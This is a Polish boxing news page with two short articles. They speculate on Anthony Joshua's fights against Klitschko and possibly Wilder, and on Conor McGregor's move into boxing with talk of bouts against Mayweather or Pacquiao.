Z pewnością Anthony Joshua spełnił swoje marzenia zdobywając pas mistrzowski IBF w wadze ciężkiej. Podstawowe pytanie, czy go to zadowala? Odpowiedź może być tylko jedna: oczywiście, że nie. Gość ma 27 lat i wszystkie atuty, aby tak jak Władimir Kliczko zdominować wagę ciężką na długie lata.

Kwietniowie starcie Brytyjczyka z Ukraińcem urasta do rangi symbolu. Młody, niezwykle utalentowany i masakrujący kolejnych rywali bokser kontra wielki mistrz, ikona i postać pięściarstwa. „Oj, będzie się działo!”. Nikt nie zabroni nam wybiec nieco w przyszłość. Czyni to także promotor Joshuy Eddie Hearn. Zapowiada, że mistrz świata IBF ma coraz mocniejszą pozycję i śmiało może myśleć o starciu z Deontayem Wilderem. Niebawem Joshua będzie mógł zaprezentować się szerzej amerykańskiej publiczności. 27-latek będzie promował… kwietniową walkę z Kliczko.

Wszystkie dotychczasowe walki Joshua stoczył na własnym terenie. Po pojedynku z Kliczko może ruszyć w świata. – Chcielibyśmy walki z Wilderem. Ten pomysł jest dobry. Joshua budzi coraz większy entuzjazm w Ameryce. Ostatnio wszyscy o nim mówili – podaje Hearn w rozmowie ze Sky Sports.

Wiadomo, że do ewentualnego starcia z Joshuy z Wilderem długa droga, ale pomarzyć można. Nie ukrywajmy, że byłby to wspaniały spektakl. W ringu pojawiłoby się dwóch groźnych i niezwykle skutecznych bokserów.

Plany Wildera

Joshua w kwietniu, a Wilder już 25 lutego pojawi się w ringu. W Birmingham mistrza świata WBC zmierzy się z Andrzejem Wawrzykiem. Amerykanin w zapowiedziach nie ukrywa, że jest pewny swego. Dla Polaka będzie to drugie podejście do mistrzowskiego tytułu.

Tymczasem na horyzoncie pojawia się kolejny rywal dla Deontaya Wildera. To Joseph Parker, który wywalczył tytuł WBO w starciu z Andym Ruizem. 25-latek niebawem w obronie pasa ma zmierzyć się z Hughim Fury'm. Obóz Parkera chciałby, aby kolejnym rywalem Nowozelandczyka był Wilder. Co ciekawe, 25-latek jeszcze nie przegrał na zawodowym ringu. Odniósł 22 zwycięstwa, w tym 18 przed czasem.

KM

McGregor celem Pacquiao?

Conor McGregor rozbudził świat boksu. Nadal trwają domysły, czy mistrz wagi lekkiej UFC stanie do rywalizacji z Floydem Mayweatherem. Swoich sił z zawodnikiem MMA chciałby spróbować Manny Pacquiao.

McGregor opanował najlepszą organizację MMA na świecie, czyli UFC. Najpierw zdobył pas kategorii piórkowej, a potem podbił wagę lekką i zrzekł się pierwszego z tytułów, którego nie bronił ani razu. Irlandczyk wpadł na kolejny pomysł. 28-letni McGregor uzyskał licencję bokserską stanu Kalifornia. Jak to się mówi, show must go on!

Filipińczyk w grze

Tę walkę pamiętają wszyscy. 2 maja 2015 doszło do walki stulecia, w której zmierzyli się Floyd Mayweather Jr. i Manny Pacquiao. Krytycy podkreślali, że starcie powinno mieć miejsce kilka lat temu, aby było bardziej atrakcyjne pod względem sportowym. W ringu spotkały się dwie ikony boksu, a wokół walki wytworzyła się aura wielkiego święta. Wszyscy zwracali uwagę na astronomiczne zyski, które wygenerowało starcie. Mayweather zarobił ponad 270 milionów dolarów! Z kolei Pacquiao zgarnął ok. 100 milionów mniej.

Czy finansowe rekordy mogą zostać pobite? Jeśli do akcji wkracza najbardziej rozpoznawalna twarz MMA, czyli Conor McGregor, to wszystko jest możliwe. Wszystkie oczy zwrócone są na Irlandczyka, który otrzymał licencję bokserską stanu Kalifornia. Mistrz UFC jest gotowy podjąć kolejne wyzwanie i zarobić grube miliony. Od razu pojawiły się doniesienia jakoby McGregor miał zmierzyć się z niepokonanym Floydem Mayweatherem Jr. Problemem w tym, że popularny „Money” zakończył karierę bokserską, ale Amerykanin jest gotów wrócić. Były mistrz WBC, WBA, WBO wagi półśredniej przedstawił swoje oczekiwania. Chce 100 milionów dolarów i większą część zysków ze sprzedaży PPV.

Jeśli nie Mayweather, to może Manny Pacquiao. Filipińczyk zgłosił chęć rywalizacji z Conorem McGregorem. – W boksie tak, ale na pewno nie w MMA – powiedział „Pacman”. Do konkretów jednak daleko, ale widać, że wejście McGregora do świata boksu może być niezwykle ciekawe. Warto przypomnieć, że Pacquiao również niedawno wrócił z emerytury i wygrał z Jessie Vargasem. Kolejnym rywalem Filipińczyka ma być Jeff Horn.

Kasa płynęłaby strumieniami

McGregor to maszynka do zarabiania pieniędzy. W ubiegłym roku znalazł się na liście najbogatszych sportowców Forbesa. Irlandczyk miał zarobić 22 miliony dolarów. W sierpniu zawodnik pokonał Nate'a Diaza i za występ na gali UFC 202 zgarnął trzy miliony dolarów.

Mistrz UFC potrafi wzbudzić zainteresowanie swoją osobą, tak jak i Floyd Mayweather Jr. Szacuje się, że „Money” zarobił na ringu blisko 800 milionów dolarów. Jak mało kto potrafi robić show i przyciągać sponsorów oraz widzów. Z pewnością połączenie gwiazd MMA i boksu sprawiłoby, że mielibyśmy okazję zobaczyć najbardziej dochodową walkę w historii. Warto pamiętać, że w kolejce czeka Pacquiao.

KM